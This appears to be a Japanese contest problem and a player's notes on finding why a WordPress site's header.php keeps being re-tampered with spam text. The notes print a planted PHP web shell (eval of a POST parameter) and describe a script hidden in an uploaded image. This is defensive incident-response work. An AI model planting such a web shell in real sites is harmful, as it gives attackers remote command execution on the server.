問題10 改ざんされました!

[Noiri]

問題文

弊社のコーポレートサイトに以下のような文言が追加されてしまいました。

▼ コーポレートサイトのURL
http://qew.example/
※ VNCサーバのブラウザ又はcurl等で閲覧可能です
※ ブラウザの起動方法： デスクトップ上で右クリック → Applications → Web Browser

▼ 追加された文言(少し違うときもあります)

激安コピーバッグ example.com 激安コピー時計 example.com 激安コピーアクセサリー example.com

---

内容に心当たりはないので、改ざんされてしまったようです。

該当ファイルを編集して元に戻しましたが、すぐにまた改ざんされてしまいます……。
（是非試してみてください……該当行を消しても、しばらくすると復活してしまうんです……）
サーバがハッキングされているのでしょうか？？大至急、原因を特定して直してください！！
また、同じ手口で改ざんされないような対処もお願いします。

サーバ上のファイルや設定はどのように変更いただいて問題ありませんが、
現在も一般の利用者様が利用しているので、できるだけ閲覧に影響を及ぼさないようにしてください！！

構成

---

[Webサーバ (192.168.0.33)] - [ロードバランサ (192.168.0.200)] - [インターネット] - [Webサイトの利用者]

---

• 出題上の踏み台となる[VNCサーバ]から[Webサーバ]にSSH接続が可能です。
  　　- [Webサーバ]のファイルが改ざんされてしまっています
  　　- [ロードバランサ]へのSSH接続は許可されていません。
• Webサイトの利用者は、必ず[ロードバランサ]を経由して接続します
  　　- [インターネット]から[ロードバランサ]を経由しない接続は許可されていません
  　　- 将来的に分散構成にする予定でしたが、今のところ[Webサーバ]は1台です

WebサーバのSSH認証情報

VNCサーバから以下の認証情報で接続可能です。

• IPアドレス: 192.168.0.33
• ユーザ名: centos
• パスワード: sX6VR5CS

※ VNCサーバ自身にも直接SSH接続可能です。VNC経由のTerminalで操作するよりオススメです。

出題に伴うメタ的な注意事項

• 上記の[インターネット]と[Webサイトの利用者]は出題のための架空の存在ですが、アクセスは発生させています
  　　- それらしく振る舞いますが多少の違和感には目をつぶってください
  　　- 以下の例示用IPアドレスを利用していますが、国内外のISPが保有するセグメント（つまり普通のグローバルIPアドレス）として読み替えてください
  　　　　- 192.0.2.0/24
  　　　　- 198.51.100.0/24
  　　　　- 203.0.113.0/24
• 採点は「問題文」にて提示した依頼内容を満たしているか自動で行います
  　　- サーバの状況のみで採点を行います
  　　- 対応完了の報告は必要ありません

[arsley]

現状把握

• /var/www/wordpress/wp-content/themes/lightning/header.phpの最終行に該当する文章がある。
• viを用いて変更後、一定時間後に変更が巻き戻ることを確認
• topを利用してプロセス監視をしてみたが、疑わしそうなものはなし(要確認)
• 追加される文章には先頭に \n がついている可能性あり

[arsley]

mv header.php header-bak.php したら一定時間後に header.php が生成された。
中身は改ざん文章のみ。

[arsley]

chmod 444 header.php で読み込みのみにしても改ざんされる。
むしろ変なアニメーションまでつきました。

[arsley]

wp-contact/files/screenshots-20181121-231123.jpg の中に ... >> ../../wp-content/themes/lightning/header.php というスクリプトが入っている。

[arsley]

fileを使って確認

コピペが面倒なのでスクショにしました。

[arsley]

もう一つのテキストの方を探索中...
wordpress以下にはない模様。

[arsley]

それらしいリクエストがある?

[arsley]

# wp-content/upgrade/index.php
# wp-includes/feed-xml.php

<?php eval($_POST['cmd']);?>

一目瞭然...
rm -rf .. で対処しました。

[arsley]

wp-contact/contact.php において保存するPATHの修正ができれば終わっていた...